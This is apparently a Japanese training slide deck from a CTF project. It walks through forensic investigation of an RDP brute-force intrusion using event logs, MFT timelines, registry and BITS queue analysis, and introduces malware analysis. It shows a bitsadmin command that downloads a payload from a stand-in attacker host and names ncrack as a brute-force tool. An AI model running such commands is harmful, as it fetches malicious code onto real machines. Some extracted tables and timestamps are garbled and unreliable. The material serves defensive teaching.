

セキュリティTIPSうすしお味 不正アクセス対応 RDP編

~実践的なインシデント対応と調査技術活用の一例~

2019年9月28日 仙台CTF推進プロジェクト

Copyright (C) 2019 Sendai CTF. All Rights Reserved. https://www.sendai-ctf.org/



情報セキュリティ担当者のための実験室 セクタンラボ 管理人 <u>http://www.sectanlab.jp/</u>

いきなり体験! インシデント対応





ストーリー

セキュリティ侵害の原因特定

- ・ イベントログ解析の結果、開発用サーバは攻撃者(IPアドレス192.168.15.171と10)に RDPログオンされていたことが判明しました。
- 攻撃者は、Windows標準コマンドである「BitsAdmin」で不審ファイルをダウンロード したようです。
 - ◆イベントログからの状況推測

年月日		時刻 (JST)	攻撃者の行動		
2019年	1) RDPブルートフォース	、攻撃(1分23秒)		
0月25日 (日)		22:05:16 - 13:06:14 (58秒)	・開発用サーバへのRDPブルートフォース攻撃(43回、失敗) ・攻撃元IPアドレス 192.168.15.150~171(22個)		
		22:06:15 (1秒)	・攻撃元IPアドレス192.168.15.171がRDPログオン成功 ・ログオン直後にログオフ		
		22:06:17 - 13:06:39 (22秒)	・開発用サーバへのRDPブルートフォース攻撃(18回、失敗) ・攻撃元IPアドレス 192.168.15.172~180(9個)		
	2) 攻撃者によるRDPロ	グオン操作(19分31秒)		
		22:20:20	・IPアドレス192.168.15.10によるRDPログオン		
		22:23:06	 BitsAdminコマンドによるファイルダウンロード http://c2.attacker.invalid/tools.cab 		
		22:39:51	・調査者がログオンしたことで強制ログオフ		

講義

(参考)BITSAdminコマンドによるファイルダウンロード

- 名称 : BITSAdmin.exe
- 開発元 : Microsoft
- 概要 : Windows Vista以降に標準搭載されたファイルダウンロード/アップロード用 ツール。

[コマンド書式]

bitsadmin /transfer「ジョブ名」「ダウンロードするファイルのURL」「保存先ファイル名」

◆実行例

C:¥WORK>bitsadmin /	transfer maljob http:/	/c2.attacker.invalid/too	ls.cabC:¥WORK¥tools.cab
DISPLAY: 'maljob' TYP	E: DOWNLOAD STATE: ACKNOWL	EDGED	
PRIORITY: NORMAL FILE	S: 1 / 1 BYTES: 1037778 /	1037778(100%)	
lranster complete.	ジョブ名「maljob」	ダウンロードする	ファイルの保存先を指定
c:¥work>	(任意の名前を設定)	ファイルのURLを指定	

状況整理

- これまでの調査結果から状況を整理します。
 - 開発用サーバは、推測可能なパスワードを設定していたため、攻撃者にRDPログオンされ、 第三者へのRDPブルートフォース攻撃の踏み台として悪用された。
 - 開発用サーバには本番データが格納されており、情報流出が懸念される。
 - なお、攻撃の状況から、DMZの他サーバへの被害拡大の可能性は低い。

◆ 状況推測



ストーリー

対策本部への報告準備

- 徹夜で対応にあたり、朝6時となりました。
- 本日9時から対策本部会議が開催されるため、役員向けの報告資料を整理します。

分類	報告・提案の例
1.発生した事象 (事実・推測)	 事業部門の開発用サーバ(1台)が、社員による不適切な設定変更により不正アクセスされ、第三者へのブルートフォース攻撃の踏み台として悪用された。 SNSには自社から攻撃を受けたとの投稿もされている。SNSの状況を監視しているが今のところ炎上はしていない。 開発用サーバには本番データ(顧客情報)が格納されており、不正アクセスにより情報流出が発生した可能性がある。
2.経営への影響 (想定リスク)	 [ただちに顕在化する可能性があるリスク] SNSが炎上する。(信用失墜) 自社からの攻撃が原因で、第三者が不正アクセスを受け被害が発生する。 (信用失墜、第三者からの損害賠償請求) [顧客情報が流出していた場合のリスク] 顧客が詐欺被害に遭う。(信用失墜、顧客からの損害賠償請求) 個人情報保護法違反として、国から是正勧告・改善命令を受ける。
3.官庁対応(案)	• 監督官庁に第一報を報告。同時並行で警察にも相談する。
4.報道対応(案)	 SNSに投稿されたことも踏まえ、社会的説明責任を果たすこと、踏み台攻撃 を受けた第三者に注意喚起することを目的にプレス発表の準備を進める。
5.調査予定	 フォレンジック調査を実施し、本番データの情報流出有無を確認する。

ストーリー

対策本部会議

- 対策本部会議で、本日17時にプレス発表することが決定されました。
- 役員からは、プレス発表にあたり、情報流出の可能性について可能な範囲で調査する ようにとの指示がありました。
- 情報システム部門で開発用サーバのフォレンジック調査を実施し、15時に中間報告 することになりました。



講義

状況把握に役立つ技術「フォレンジック」

- フォレンジック(Forensics)とは、インシデントが発生したコンピュータの解析を行い、「いつ」、「何が起きたのか」を調査する科学捜査手法のことです。
- サイバー攻撃の状況は目に見えづらいですが、フォレンジック技術を活用することで、 より正確な状況推測ができるようになります。
 - ◆ フォレンジックのイメージ

解析対象(エビデンス)

		_	
			の 月 12
	谷種ログ		12
レジストリ	メモリ	│証拠保全•解析 │	12
			12
			12
	- •		12

解析結果(タイムライン解析)

いつ	何が
〇月〇日 12:30:50	PC-Aが改ざんされたウェブサイト 「http://〇〇.com」にアクセス
12:30:55	リダイレクトにより、PC-Aが不審サイト 「http://口口.ru」にアクセス
12:31:10	Adobe Reader への脆弱性攻撃により、PC-Aで不審プログラム「a.exe」が 起動
12:31:12	PC-Aが「a.exe」が「http://ムム.cn」と の通信を開始
12:32:30	PC-Aから社内サーバに感染が拡大
12:35:00	IDSが、PC-Aの不審通信を検知

本事案の調査方針

プレス発表に向けて、情報流出の可能性について優先的に調査します。

◆ 前提条件

- ・ 開発用サーバは、LANケーブル抜線後にシャットダウンされている。
- 開発用サーバのハードディスクを抜き出して必要なデータを保全済み。
 現在ハードディスクは複製装置でコピー中。
- 格納されている本番データ(顧客情報)は「C:¥work¥sendaictf.csv」。

◆ 調査方針

- (1)時間的制約もあることから、保全済みのデータに対して解析作業を実施する。 (ハードディスク全領域に対する解析は実施しない。)
- (2)解析により以下2点の痕跡が発見された場合は「情報流出の可能性あり」と判断し、外部のセキュリティ専門家に解析を依頼する。
 - ① 機密データファイル (sendaictf.csv) へのアクセス
 - ② 情報流出につながるプログラムの実行 (情報流出機能のあるマルウェアやFTPなど)

調査手順の概要

・ 開発用サーバから取得したエビデンスを解析し、攻撃者が開発用サーバにログオンしていた時間帯「2019年8月25日(日) 22:20:20~22:39:51」の挙動を確認します。

◆エビデンスと解析ツール

分類	解析の概要	エビデンス	解析ツール
機密データファイル へのアクセス	 MFTのタイムライン解析 ファイルのアクセス状況を確認する。 	Master File Table (\$MFT)	 MFTECmd mactime.pl Timeline Explorer
	 NTFSのログ解析 ファイルのアクセス状況を確認する。 	NTFSのログ (\$LogFile、\$J)	NTFS Log Tracker
	③ レジストリの解析 本番データのファイル名などが記録 されていないか確認する。	レジストリ (system、 NTUSER.DAT、 UsrClass.dat)	Registry Explorer
情報流出につながる プログラムの実行 ^{※1}	 ④ プログラム実行痕跡の解析 Application Compatibility Cache、 UserAssistlこ記録されたプログラム実行痕跡を確認する。 	レジストリ (system、NTUSER.DAT)	Registry Explorer

(※1) プログラム実行痕跡を確認できるアーティファクトとして「Prefetch」もありますが、Windows Serverの標準設定では無効化 されています。

講義

① MFTのタイムライン解析(1)

 MFTからファイル・フォルダのタイムラインを作成し、攻撃者がログオンした時間帯の ファイルのアクセス状況を確認します。

手順

①「\$MFT」を「mftecmd」コマンドで前処理し、「body」形式の中間ファイルを作成する。

②「mactime」コマンドで「body」ファイルを整形し、タイムラインを作成する。

コマンド書式

 mftecmd -f 【\$MFTのファイル名】--body 【bodyの出力先フォルダ名】^{※1} --bdl 【ドライブ名】^{※2} (※1)指定したフォルダに、ファイル名「YYYYMMDDhhmmss_MFTECmd_Output.body」で出力される。 (※2)ドライブレターとして表示したい任意の文字列を指定する。(例:C)

② mactime -b 【bodyファイル名】 -z Japan -m -d > 【タイムラインの出力ファイル名】
 ①で出力したファイル)

講義

① MFTのタイムライン解析(2)

◆実行例 ① mftecmd	
caine@caine:\$ mftecmd -f \$MFTbodybodybody	dl C タイムラインに表示するドライブレターとして 「C:」を指定
Author: Eri MFTのファイル名「\$MFT」を指定) https://githup.com/Errozhimerman/imireomo	出力先フォルダとして、カレントディレクトリを
Command line: -f \$MFTbodybdl C	意味する「.」(ドット)を指定
003a:err:winsock:WSAIoctl -> SIO_ADDRESS_LIST_CHANGE 003a:err:winsock:WSAIoctl -> SIO_ADDRESS_LIST_CHANGE	request failed with status 0x2733 request failed with status 0x2733
Processed '\$MFT' in 6.8083 seconds	
Bodyfile output will be saved to '.¥20190916063445_M 003d:err:winsock:WSAloctl -> SIO_ADDRESS_LIST_CHANGE 003d:err:winsock:WSAloctl -> SIO_ADDRESS_LIST_CHANGE	FTECmd_Output.body' request failed with status 0x2733 request failed with status 0x2733
003f:err:winediag:SECUR32_initNTLMSF ファイル名「201 is in your path. Usually, you can f caine@caine:\$	90916063445_MFTECmd_Output.body」で uth >= 3.0.25 出力された。



① MFTのタイムライン解析(3)

◆実行例 ② mactime



◆タイムライン「timeline_mft.txt」の内容例(抜粋)

Date, Size, Type, Mode, UID, GID, Meta, File Name	
Sun 08 25 2019 21:36:12 0 mac. r/rrwxrwxrwx, 0, 0, 109230-144-0, "c:/work"	
Sun 08 25 2019 21:36:12, 279, . a b, r/rrwxrwxrwx, 0, 0, 109238-128-1, "c:/work/sendaictf.csv"	
s s b刻情報(JST) ²⁷⁹ 204 タイムスタンプの種類 ^{※1} -128 ファイル・フォルダ名 [※]	² VAME) " Hash {06AE3BCC-7612-39D3-9F3B-
B6601D877D02} "	
Sun 08 25 2019 21:36:12, 20480, ma. b, r/rrwxrwxrwx, 0, 0, 109326-128-4, "c:/Windows/Installer/	Sour 解析結果 7612-39D3-9F3B-
B6601D877D02} "	AT MORENS
Sun 08 25 2019 21:36:12,20480,macb,r/rrwxrwxrwx,0,0,109326-48-2,"c:/Windows/Installer/S	o 本番データへのファイルアクヤス
B6601D877D02} (\$FILE_NAME)"	の広味は変調されたかった
	の限跡は確認されなかつた。

(※1)ファイル・フォルダには、更新日時、作成日時など、複数のタイムスタンプが記録されている。タイムラインでは、同じ時刻のタイム スタンプを一行で表現している。

m:更新日時、a:アクセス日時、c:属性変更日時、b:作成日時

(※2)削除済みファイルは(deleted)が付記される。また、NTFSの「Filename属性」のタイムスタンプは「\$FILE_NAME」が付記される。



② NTFSのログ解析

 NTFSのログファイル「\$LogFile」、「\$J」を解析し、攻撃者がログオンした時間帯の ファイルのアクセス状況を確認します。

手順

- ① CAINEの「Main Menu」-「Windows Forensic Tools」から「NTFS Log Tracker」を起動する。
- ② エビデンスの「\$LogFile」、「\$J」、「\$MFT」を指定し「Parse」ボタンをクリックする。
- ③「Parse Setting」ダイアログが表示されたら「SQLite DB File Name」と「SQLite DB File Path」に 任意の名前・ディレクトリを入力し「Start」をクリックする。(解析結果格納用DBが新規作成される。)
- ④解析結果が画面に表示される。「CSV Export」ボタンをクリックすると、CSVで保存できる。

IL EEL FILES							475			
ogFile File Pa	ath Z	\var\samba\public\evidence\\$Log	ile							
JsnJrnl:ŜJ File	e Path Z	\var\samba\public\evidence\\$Exte	nd\\$UsnJrnltAM\\$J		(ear Parse					
	-						1	7		
allocated Are	es Dump Path :					A7 +				
or ŞUsnJrnl R	Record Carving)					一 円牛 化	[[紀天			
tion							118715			
IFT File Path	z	\var\samba\public\evidence\\$MFT	8		·	N	L 0		· · · —	L
						茶ナー	-タへ())	ファイ	JUY	クセ
							1	- /		· - ·
sen sQLitte DE	o File					店 5ホル	+広うても	h +>	かった	_
Lite DB File F	Path					民町に	よ唯能で	イレム	いつに	_ 0
	16									
Search										
Search ogFile \$Usn <	hJrnl:\$J \$LogFile(S	earch Result) \$UsnJrnl:\$J(Search /1)	ı Result)				Ĩ			
Search ogFile \$Usn < LSN	nJrnl:\$J \$LogFile(\$ Page : (1 EventTime(UTC+9	earch Result) \$UsnJrnl:\$J(Search / 1)) Event	Result) Detail	File Name	Full Path(from \$MFT)		cre 🕹			
Search ogFile \$Usn < LSN 174084473	hJrnl:\$J \$LogFile(S > Page : (1	earch Result) \$UsnJrnl:\$J(Search /1)) Event	Result)	File Name amd64_37a2b19f05acd90c1f.	Full Path(from \$MFT) . Windows/Win5x5/Manifests\am	d64_37a2b1 2	cre A			
Search ogFile \$Usn <	hJrnl:\$J \$LogFile(S Page : (J EventTime(UTC+S	earch Result) \$UsnJrnl:\$J(Search / 1)) Event	Result) Detail	File Name amd64_37a2b19f05acd9oc1f. amd64_37facb19f05acd9oc1f.	Full Path(from SMFT) .Windows/WinsxS/Manifests\amo Windows/WinsxS/Manifests\amo	d64_37a2b1 2 d64_37fa0e1	cre01			
Search ogFile \$Usn < LSN 174084473 174084691 174084848	Jrnl:\$J \$LogFile(S Page : (1 EventTime(UTC+S	earch Result) \$UsnJrnl:\$J(\$earch / 1)) Event writing Content of Resident File	Detail Data Offset : 50501592	File Name amde4_37a2b19f05acd9oc1f. amd64_37f10e1d067fb99eb	Full Path(from \$MFT) .Windows;Win5x5;Wanifests;Jamo ;Windows;Win5x5;Manifests;Jamo	d64_37a2b1 2 d64_37f10e1	cre ^			
Search ogFile \$Usn <	→Jrnl:\$J \$LogFile(S > Page : (1 EventTime(UTC+9	earch Result) \$UsnJrnl:\$J(Search /1)) Event writing content of Resident File	Petail Data Offset : 50501592	File Name amd64_37a2b3965acd9oc1f. amd64_37f10e1d067fb99eb amd64_37f10e1d067fb99eb	Full Path(from SMFT) .Windows/Win5x5/Manifests/ame /Windows/Win5x5/Manifests/ame /Windows/Win5x5/Manifests/ame	de4_37a2b1 2 de4_37fa0e1 de4_37ff0e1 2				
Search ogFile \$Usn < LSN 174084473 174084488 174085129 174085269	Jrnl:\$J \$LogFile(5 Page : (1 EventTime(UTC+9	earch Result) \$UsnJrnl:\$J(Search / 1)) Event Writing content of Resident File	Detail Data Offset : 50501592	File Name amd64_377a2b19f05acd9oc1f. amd64_37f10e1d067fb99eb amd64_37f10e1d067fb99eb amd64_37f519b95fa6fcc56	Full Path(from SMFT) Windows/WinSxS/Manifests/ame Windows/WinSxS/Manifests/ame /Windows/WinSxS/Manifests/ame	d64_37a2b1 2 d64_37f10e1 d64_37f10e1 2 d64_37f50e1 2	274 A			
Search .ogFile \$Usn < LSN 174084473 174084691 174084691 174084548 174085269 174085269	Jrnl:\$J \$LogFile(\$ Page : { J EventTime(UTC+9	earch Result) \$UsnJrnl:\$J(Search / 1)) Event Writing Content of Resident File Writing Content of Resident File	Detail Data Offset : 50501592 Data Offset : 50506216	File Name amd64_37a2b19f05acd9oc1f. amd64_37f10e1d067fb99eb amd64_37f10e1d067fb99eb amd64_37f5e19b95faefc56	Full Path(from SMFT) .Windows(WinsxS)Manifests)ame .Windows(WinsxS)Manifests)ame .Windows(WinsxS)Manifests)ame .Windows(WinsxS)Manifests)ame	d64_37a2b1 2 d64_37f10e1 2 d64_37f10e1 2 d64_37f10e1 2	ore ▲ 01			
Search .ogFile \$Usn < LSN 174084473 174084473 174084484 174085129 174085269 174085265 174085265	-Jrnl:\$J \$LogFile(\$ Page : { 1 EventTime(UTC+\$	earch Result) \$UsnJrnL\$J(Search / 1)) Event writing Content of Resident File writing content of Resident File	Petail Data Offset : 50501592 Data Offset : 50506216	File Name amd64_37a2b19f05acd90c1f. amd64_37facb19f05acd90c1f. amd64_37fa0c1d067fb99eb amd64_37f5c19b95faefcc56 amd64_37f5c19b95faefcc56	Full Path(from SMFT) .Windows/WinSxS/Manifestaam Windows/WinSxS/Manifestaam /Windows/WinSxS/Manifestaam /Windows/WinSxS/Manifestaam	d64_37a2b1 2 d64_37f10e1 d64_37f10e1 d64_37f5e19 d64_37f5e19 2	01 01			
Search ogFile \$Usn 274084473 174084691 174084691 174085269 174085269 174085269 174085269 174085269 17408504	hJrnl:\$J \$LogFile(\$ 	earch Result) \$UsnJrnl:\$J(Search / 1)) Event Writing Content of Resident File Writing Content of Resident File Writing Content of Resident File	Detail Data Offset : 50501592 Data Offset : 50506216 Data Offset : 50510840	File Name amd64_37a2b19f05acd9oc1f amd64_37f10e1d067fb99eb amd64_37f10e1d067fb99eb amd64_37f5e19b95facfcc56 amd64_37f5e19b95facfcc56	Full Path(from \$MFT) Windows/WinSx5/Manifests/amo Windows/WinSx5/Manifests/amo Windows/WinSx5/Manifests/amo Windows/WinSx5/Manifests/amo Windows/WinSx5/Manifests/amo	(d d64_37a2b1 2 d64_37f30e1 d64_37f5e19 d64_37f5e19 d64_37f5e19				

講義 ストーリー

③ レジストリの解析

レジストリをキーワード検索し、攻撃者がログオンした時間帯に本番データにアクセスした痕跡がないか確認します。

手順

- CAINEの「Main Menu」-「Windows Forensic Tools」から「Registry Explorer」を起動する。
 エビデンスの「system」、「NTUSER.DAT」、「UsrClass.dat」を開く。
- ③ メニュー「Tools」-「Find」をクリックし、検索ダイアログで本番データのファイル名「sendaictf」を 検索する。

E	Find H									- = ×	
c	Options Help										
	Standard							Last write ti	nestamp		
	Search for Se	endaictf			^	Search in Key name Value data	☑ Value name □ Value slack	Earliest (UTC) Latest (UTC)	解	折結果	
					×	Search type Simple Regular expre	ssion		本番デ- の痕跡	ータへ0 は確認る	
	History				*	Literal	Search	NOTE: Una	sociated deleted records	s are not searche	
F				Res	ults (Double clic	k a row in the F	Results grid to	select the se	arch hit in the main	window)	
3	/ループ化したい	ハ列のヘッダ・	ーをここにト	ジッグします。							
F	Hive Name	Hit Locati	Hit text	Last Write Time	Key Path				Value Data	Value Name	
9	8∰c	e@c	e@c	alle:	e@c				8∰c	#@c	
F	NTUSER.DAT	Value data	sendaictf	2019-08-25 12:47:36	SOFTWARE\Microso	oft\Windows\Curren	ntVersion\Explore	r\RecentDocs	73-00-65-00-6E-00-64	0	
	NTUSER.DAT	Value data	sendaictf	2019-08-25 12:47:36	SOFTWARE\Microso	oft\Windows\Curren	ntVersion\Explore	r\RecentDocs	73-00-65-00-6E-00-64	0	
÷	NTUSER.DAT	Value data	sendaictf	2019-08-25 12:47:36	SOFTWARE\Microso	oft\Windows\Curren	ntVersion\Explore	r\RecentDocs	73-00-65-00-6E-00-64	12	
	NTUSER.DAT	Value data	sendaictf	2019-08-25 12:47:36	SOFTWARE\Microso	oft\Windows\Curren	ntVersion\Explore	r\RecentDocs	73-00-65-00-6E-00-64	12	
	NTUSER.DAT	Value data	sendaictf	2019-08-25 12:47:39	SOFTWARE\Microso	ft\Windows\Curren	ntVersion\Search\	RecentApps\	sendaictf	DisplayName	
	NTUSER.DAT	Value data	sendaictf	2019-08-25 12:47:39	SOFTWARE\Microso	oft\Windows\Curren	ntVersion\Search\	RecentApps\	C:\work\sendaictf.csv	Path	



④ プログラム実行痕跡の確認

 レジストリのプログラム実行痕跡を解析し、攻撃者がログオンした時間帯に起動された プログラムを確認します。

手順

- CAINEの「Main Menu」-「Windows Forensic Tools」から「Registry Explorer」を起動する。
 エビデンスの「system」、「NTUSER.DAT」を開く。
- ③ レジストリ「system」を選択し、メニュー「Bookmarks」から「AppCompatCache」を選択し、プログ ラム実行痕跡を確認する。同様にレジストリ「NTUSER.DAT」の「UserAssist」も確認する。

gistry hives (3)	Available bookmarks (43/0)		Values							
(ey name			ガループ化したい別の	N	こににちゅガし キ	ż				
8 :		^	210 21001001310		CRET77706	# 0		10 0 0 00 00		
	AppCompatCache		Value Name	Value Type	Data	Value Slack	Is Deleted	Data Record Reallo		
+ 🖂	Configuration Manager		P 40	a∰¢.	e@c	effic			1	
C	DOS Devices		AppCompatCache Cache	RegBinary	30-00-00-00-0	00-00-00-00-0		解析結果		
6	Environment		CachemainSdb	RegBinary	31-30-74-73-1	. 00-00				
6	Executive		Suplime	Regulialy	50-60-43-10	00-00-00			-	
C	FileRenameOperations		Type viewer Slack	viewer An	nCompatCache		1.00	·20.55 am	するともおいていた。	
C	I/O System			there in the	peompacedene		22	.20.35 0110	」.ほんせて起到。	
• =	Kernel		グループ化したい列の)ヘッダーをこ	こにドラッグしま	90	. n±1		いての岐来ったも	
6	KnownDLLs		Cac Program N	ame			- 叶	町17円/こ/	いい順留で起到。	
• 🖻	Memory Management		P #8: #8:					hite a duala	a ¥ a	
C	NamespaceSeparation	100	▶ 0 C:\Windov	vs\svstem32\	WerFault.exe			Ditsaumin	.exe	
6	Power		1 C:\Program	n Files (x86)\1	Internet Explorer\II	EXPLORE.EXE				
6	Quota System		2 C:\Users\A	DMINI~1\Ap	Data\Local\Temp	tools\ncrack.exe		expand.e	xe	
6	SubSystems		3 C:\Users\/	dministrator\	AppData\l ocal\Ter	mp\tools\ncrack.ex				
• -	WPA		4 C:\Users\/	DMINI~1\Ap	pData\Local\Temp\	tools\malware.exe	3	maiware.	exe(2回)	
× 💳 S	SNMP		5 C'\Users\4	dministrator\	AppData\l ocal\Ter	mn\tools\malware				
- 9	SOMServiceList		6 C:\Window	vs\svstem32\	expand exe	np (cools (maintai c.	4	ncrack.ex	e(2回)	
, = 5	Srp	_	7 C:\Window	vs\svstem32\	hitsadmin exe					
= 5	SrpExtensionConfig	_	8 C:\Window	vs\svstem32\i	OpenWith exe					
1 - 5	StillImage	_	9 C:\Window	vs\svstem32\	atbroker exe		2	016-07-16 13:18:35		
. — c	itorane	¥	Total rows: 152	10 10 10 201102 1			-	2010-07-10 13.10.33 V		

(参考) BITSAdminによるダウンロード痕跡

- イベントログ「Microsoft-Windows-Bits-ClientのイベントID 59にBITSAdminの 「ジョブ名」と「ダウンロードするファイルのURL」が記録されます。
- 保存先ファイル名は、Queue Manager Database(QMGR)を解析することで特定で きます。
 - QMGR Database

講義

- フォルダ:C:¥ProgramData¥Microsoft¥Network¥Downloader¥
- ファイル: qmgr0.dat、qmgr1.dat

◆QMGR Databaseの内容例

+0 +1 +2 +3 +4 +5 +6 +7 +8 +9 +,	↓ +B +C +D +E +F 0123456789ABCDEF 🔨	
TUSUULO 🌠 32 ED 09 A6 C7 E9 45-8F 6D 31	8 D9 46 C2 7C 3E 【2E.m6.F. >	
10:0010 0\$ 00 00 00 00 00 00 00-13 F7 21	3 C8 40 99 12 4A+.@J	
20 9F 1A 3A AE BD 89 4E EA-47 44 5I	00 A9 BD BA 44N.GDD	+A +B +C +D +E +F 0123456789ABCDEF 🔨
30 98 51 C 4 70 D6 C0 74 CE_01 00 0	<u>→ </u>	↓ 43 00 3A 00 5C 00 _MLC.:.¥.
40 3B 10 F	00 00 ;D./.7) 5C 00 41 00 44 00 U.s.e.r.s.¥.A.D.
	LDB 9B	0 31 00 5C 00 41 00 M.I.N.I.~.1.¥.A.
0:0.60 /B EF D.	00 00 1. A. i. s.	0 61 00 5C 00 4C 00 p.p.D.a.t.a.¥.L.
U:U: /0 6D 00 61 00 6C 00 6A 00-6F 00 6	2 00 00 00 01 00 m.a.l.j.o.b	0 54 00 65 00 6D 00 o.c.a.l.¥.T.e.m.
		0 6C 00 /3 00 2E 🔎 p.¥.t. <u>o.o.l.s</u>
90 2B 00 00 00 53 00 2D 00-31 00 2I	J UU 35 UU 2D UU +SI5	00 00 68 00 🖉 00 c.a.b%h.t.
AU 32 UU 31 UU 20 UU 38 UU-37 UU 34		1 63 UU 32 UU 2E UU t.p.:././.c.2
BU 33 UU 33 UU 39 UU 32 UU-20 UU 3		<u>168 UU 65 UM 72</u> UU a.t.t.a.c.k.e.r.
		UU
DU 34 UU 3U UU 35 UU 36 UU-35 UU 34	100 30 11 11 11 11 11 11 11 11 11 11 11 11 11	UU /.t.o.o.l.sc.
	C:¥Users¥Administrat	
	a¥Local¥ lemp¥tools.ca	
	050 0F 00 03 00 01 00 00 00-00 00	
	E E E E E E E E E E E E E E E E E E E) 40 00 30 00 34 00
		ο ου ου οε το ου ου θι.m.μ

講義

(参考)QMGR Database解析ツール

- 名称 : bits_parser
- 開発元 : ANSSI (Agence nationale de la sécurité des systèmes d'information) <u>https://github.com/ANSSI-FR/bits_parser</u>
- 概要 : QMGR Database解析用Pythonスクリプト。
- [コマンド書式]

bits_parser.py -o「解析結果のファイル名」「QMGR Databaseファイル」

◆実行例



◆解析結果の内容例(CSV形式)

job_id, name, desc, type, priority, sid, state, cmd, args, file_count, file_id, dest_fn, src_fn, tmp_fn, download_size, transfer_size, drive, v ol_guid, ctime, mtime, other_time0, other_time1, other_time2, carved ,,,,,,, |>, 1, 0 <u>C:¥Users¥ADMINI~1¥AppData¥Local¥Temp¥tools.cab</u>, http://c2. attacker. invalid/tools.cab, C:¥Users¥ADMINI~1¥AppData¥L ocal¥Temp¥BITE849.tmp, 0, , C:¥, ¥¥?¥Volume {0c398570-0000-0000-501f0000000}}, 2019-08-25 13:23:05.742742, 2019-08-25 13:23:05.742742, 2019-08-25 13:23:05.742742, 2019-08-25 13:23:05.742742, 2019-11-23 13:23:05.742742, True

調査結果

- 攻撃者は、開発用サーバに不正ログオンした後、C2サーバからダウンロードした不審 プログラムを実行し、第三者にRDPブルートフォース攻撃を実施していました。
- 本番データ(顧客情報)にアクセスした形跡は確認されませんでした。

◆攻撃者の行動のタイムライン[2019年8月25日(日)]

時刻 _(JST)	行動	エビデンス
22:20:20	・IPアドレス192.168.15.10から開発用サーバにRDPログオン。	イベントログ
22:20:55	•cmd.exe起動	NTUSER.DAT
22:23:06	 BitsAdminコマンドによるファイルダウンロード。 http://c2.attacker.invalid/tools.cab → C:¥Users¥Administrator¥AppData¥Local¥Temp¥tools.cab 	イベントログ、\$MFT、 QMGR.DAT
22:26:40	・tools.cabをexpandコマンドで展開。	\$MFT、 AppCompatCache
22:27:10	・IPアドレスが列挙されたテキストファイルを作成(ダウンロード?)。 C:¥Users¥Administrator¥AppData¥Local¥Temp¥targets	\$MFT
不明	 ・不審プログラム実行(2個のプログラムを2回)。 C:¥Users¥Administrator¥AppData¥Local¥Temp¥tools¥malware.exe C:¥Users¥Administrator¥AppData¥Local¥Temp¥tools¥ncrack.exe ・ncrackはRDPブルートフォース攻撃機能を有するハッキングツールであり、本ツールが第三者への攻撃に使用された可能性が高い。 	AppCompatCache
22:39:51	・調査者がログオンしたことで強制ログオフ。	イベントログ

ストーリー

対策本部会議での判断

- ・ 予定どおり15時に、対策本部会議でフォレンジック調査結果を報告しました。
- 調査結果を踏まえ、プレス発表では「開発用サーバにお客様の個人情報が格納されていたものの、フォレンジック調査により情報流出の痕跡が無いことを確認した。」と宣言することになりました。



ストーリー

対応終了!

- 情報システム部門の活躍により、インシデントを早期に収束することができました。
- あなたは徹夜で対応したためへトヘトです。自宅に戻りゆっくりと休むことにしました。





•••对応終了?





そうだ、マルウェアを解析してみよう





TIPS-3 マルウェア解析



マルウェアのコードを逆アセンブルし挙動を調査する 「静的解析」を<mark>体験</mark>します。

講義



マルウェア解析の種類

 マルウェア解析の手法は、表層解析、動的解析、静的解析の3種類があり、各手法を 組み合わせてマルウェアの挙動を調査します。

◆マルウェア解析の種類

解析手法	概要	メリット・デメリット
表層解析	マルウェアのファイル名、ハッシュ値、 ファイル内の文字列など、表層的な特徴を インターネット検索などで調査する手法。	O短時間で簡単に解析できる。 ×必要な情報が得られないこと がある。
動的解析	本番環境から隔離された仮想環境などで マルウェアを動作させて、ファイルアクセス や通信などの挙動を観察する手法。	 ○比較的短時間で多くの情報を 得ることができる。 ×マルウェアが解析妨害機能を 有する場合、必要な情報を得ら れないことがある。
▲ 型 强 会 で イ 静的解析	^{▼្} マルウェアのコードを逆アセンブルし、詳細 な挙動を確認する手法。	 ○特定条件下で実行される処理 など、詳細な情報を得ることが できる。 ×解析に必要な技術レベルが高 く、時間もかかる。

講義

表層解析の一例



不審プログラムのハッシュ値をVirus Total、Googleなどで検索してみます。
 SHA-256: dde7c1c88adce965134af781ad7efa3cb75a4f2cc028b1de2741d05184881602

◆Virus Totalでのハッシュ値検索結果

https://www.virustotal.com/

VirusTotal	× +		v	- 🗆 ×	◆Googleでのハッシュ値検索	結果
+> (i) A https://www.virust	total.com/gui/file/dde?c1c88adce965134a1781ad7efa3cb75a4f2cc028	b1de2741d05184880 110%	C Q 信奉 合自 🕹 🚍	🧶 📾 🦗 h 🦻		17H >IN
dde7c1c88adce	965134af781ad7efa3cb75a4f2cc028b1de2741d051848	381602	Q 🛧 🚟	VirusTotal	× G dde7c1c88adce965134af781a × +	✓ - □ ×
-				♦ ⇒ ③ ▲ https://	www.google.co.jp/search?sisrf=ACYBGNSnl-gDPDM3UI9rbTR_vVnUyF8WCA%3A15684736457988isource=hpi マ ピ 🛛 🤍 検索	☆自 ♣ ☰ 🥯 🛎 🖗 為 🦻
53	1 53 engines detected this file		C	Google	dde7c1c88adce965134af781ad7efa3cb75a4f2cc028b1de2741d051848816(Q	III 🥭
/ 69						•
	dde7c1c88adce965134af781ad7efa3cb75a4f2cc028b1 Ransom exe	de2741d05184881602	31.5 KB 2019-07-15 08:10:37 UTC Size 2 months ago		Q ずべて 25 地図 1 動画 2 画像 Q ジョッピンク 1 もっと見る 設定 ツール	
Q	assembly peexe			2	約9件(0.31秒)	
Score					ヒント:日本語の検索結果のみ表示します。検索言語は [表示設定] で指定できます。	
DETECTION					Antivirus scan for VirusTotal	
DETECTION	DETAILS RELATIONS COMMONTT				2018/02/17 - SHA256:	
Acronis	() Suspicious	Ad-Aware	() Gen:Heur.Ransom.MSIL.1		dde7c1c88adce965134af781ad7efa3cb75a4f2cc028b1de2741d05184881602. File name: Ransom.exe. Detection ratio: 38 / 67. Analysis date: 2018-02-17 11:50:03 UTC (8 months, 1	
Aertisl ab	Troian MSIL Agent 4Ic	Abol ab-V3	Trojan/Win32 Ransom C2443025		week ago) View latest	
		10000000	0		「干物妹ランサムウェア」検体の挙動確認: セクタンラボ 実験日誌	
Alibaba	() Ransom:MSIL/Agent.c201145a	ALYac	(1) Trojan,Ransom,Filecoder		sectanlab.sblo.jp > article ▼	
Antiy-AVL	Trojan[Ransom]/MSIL_Agent	Arcabit	1 Trojan Ransom MSIL 1		2016/00/04-2版(Viniwate(20)(2)(2)(2)(2)(2)), Microsoft (MET Pranework 4.7.1. 世紀中国報告, 2) ジュ値(SHA256):	
Avast	() Win32:Malware-gen	AVG	() Win32:Malware-gen		dde7c1c88adce965134af781ad7efa3cb75a4f2cc028b1de2741d05184881602; 検知名 (トレンド マイクロ) : Ransom_Genasom.	
